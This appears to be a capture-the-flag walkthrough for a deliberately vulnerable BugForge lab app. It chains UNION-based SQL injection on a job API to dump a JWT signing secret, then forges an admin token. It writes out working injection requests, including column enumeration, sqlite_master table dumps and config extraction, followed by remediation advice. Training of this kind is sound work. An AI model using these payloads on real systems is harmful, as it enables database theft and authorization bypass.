BugForge - Weekly - FurHire
Weekly - FurHire
Vulnerabilities Covered:
SQL Injection (UNION-based)
JWT Secret Extraction
JWT Token Forgery
Privilege Escalation
Summary:
This walkthrough demonstrates a chained attack where a SQL Injection vulnerability in the job listing API endpoint (/api/jobs/{id}) is manually exploited using UNION-based injection to extract the JWT signing secret from the database. The extracted secret is then used to forge an administrative JWT token by modifying the role claim, bypassing authorization controls and accessing the protected admin flag endpoint.
Reference:
Bugforge.io
Solution
Step 1 - Account Creation & Application Exploration
Create a new account with the Job Seeker role and log in to the application.
Navigate through the dashboard to understand the application structure. The key area of interest is the Jobs section where open positions are listed.
Step 2 - Identify Potential Injection Point
Browse to the job listings and select any job position (e.g., “Guard Dog Coordinator” or “Senior Fetch Specialist”).
Observe the URL structure which includes a job identifier:
1
/api/jobs/1
This endpoint with a numeric parameter is a prime candidate for SQL Injection testing.
Step 3 - Test for SQL Injection
Test the endpoint by appending SQL syntax to the job ID:
1
GET /api/jobs/3'
This returns an error or “job not found” response.
1
GET /api/jobs/3 order by 1--
This returns a normal response, confirming SQL Injection is possible.
The difference in behavior confirms the parameter is vulnerable to SQL Injection.
Step 4 - Enumerate Column Count
Use the ORDER BY technique to determine how many columns the original query returns:
1
2
3
4
GET /api/jobs/3 order by 1-- → Success
GET /api/jobs/3 order by 10-- → Success
GET /api/jobs/3 order by 16-- → Success
GET /api/jobs/3 order by 17-- → Error
The query fails at 17 columns, meaning the original SELECT statement returns 16 columns.
Step 5 - Identify Database Type
Use a UNION-based injection to determine the database type:
1
GET /api/jobs/3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,sqlite_version()--
The response includes the SQLite version (e.g., 3.44.2), confirming this is a SQLite database.
Step 6 - Enumerate Database Tables
Query the SQLite system table sqlite_master to discover available tables:
1
GET /api/jobs/3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,name FROM sqlite_master WHERE type='table'--
This reveals tables including:
usersuser_profilescompaniesjobsapplicationsconfig
Step 7 - Extract Table Structure
Examine the structure of the config table:
1
GET /api/jobs/3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,sql FROM sqlite_master WHERE name='config'--
This returns the CREATE statement showing the table has key and value columns - a typical key-value configuration store.
Step 8 - Extract JWT Secret
Dump the contents of the config table to find the JWT signing secret:
1
GET /api/jobs/3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,key||'='||value FROM config--
The response reveals:
1
jwt_secret=phonesCheeseTiramisu1199
The JWT signing secret has been successfully extracted.
Step 9 - Decode and Forge JWT
With the JWT secret extracted from the database, use Caido’s JWT Analyser extension to forge an admin token:
- Open your browser’s Developer Tools and navigate to Application → Local Storage
- Copy the current JWT token value
- In Caido, open the JWT Analyser extension from the left sidebar
- Paste the token in the input field - the extension will automatically decode and display the header and payload
- Examine the payload which contains:
1 2 3 4 5
{ "id": 6, "username": "test", "role": "user" }
- In the payload editor, modify the
roleclaim fromusertoadmin - Enter the extracted secret (
phonesCheeseTiramisu1199) in the Secret Key field - Click Sign to generate the forged token
- Copy the newly generated admin JWT from the output
Step 10 - Access Admin Endpoint
With the forged admin JWT:
- Open your browser’s Developer Tools → Application → Local Storage
- Replace the existing JWT token with the forged admin token
- Navigate to
/admin
The server validates the JWT signature using the secret (which matches since we extracted it), recognizes the admin role, and grants access to the admin panel revealing the flag.
Impact
- Extraction of sensitive data from the database via SQL Injection
- Compromise of JWT signing secret enabling token forgery
- Complete authorization bypass through privilege escalation
- Access to administrative functionality and sensitive data
Vulnerability Classification
- OWASP Top 10: Injection / Broken Access Control
- Vulnerability Type: SQL Injection (UNION-based), Insecure JWT Implementation
- Attack Chain: SQLi → Secret Extraction → Token Forgery → Privilege Escalation
- CWE:
- CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
- CWE-798 - Use of Hard-coded Credentials (JWT secret in database)
- CWE-287 - Improper Authentication
Root Cause
The application fails to properly sanitize user input in the job listing API endpoint, allowing SQL Injection attacks. Additionally, the JWT signing secret is stored in the database rather than in secure server-side configuration, making it accessible once database access is achieved. The combination of these issues creates a chain leading to complete authentication bypass.
Remediation
- Use parameterized queries or prepared statements to prevent SQL Injection
- Store JWT secrets in secure server-side configuration (environment variables, secrets manager)
- Implement proper input validation on all user-controllable parameters
- Consider using asymmetric key algorithms (RS256) for JWT signing
- Implement rate limiting and monitoring for repeated injection attempts
- Use Web Application Firewall (WAF) as defense in depth, not primary protection
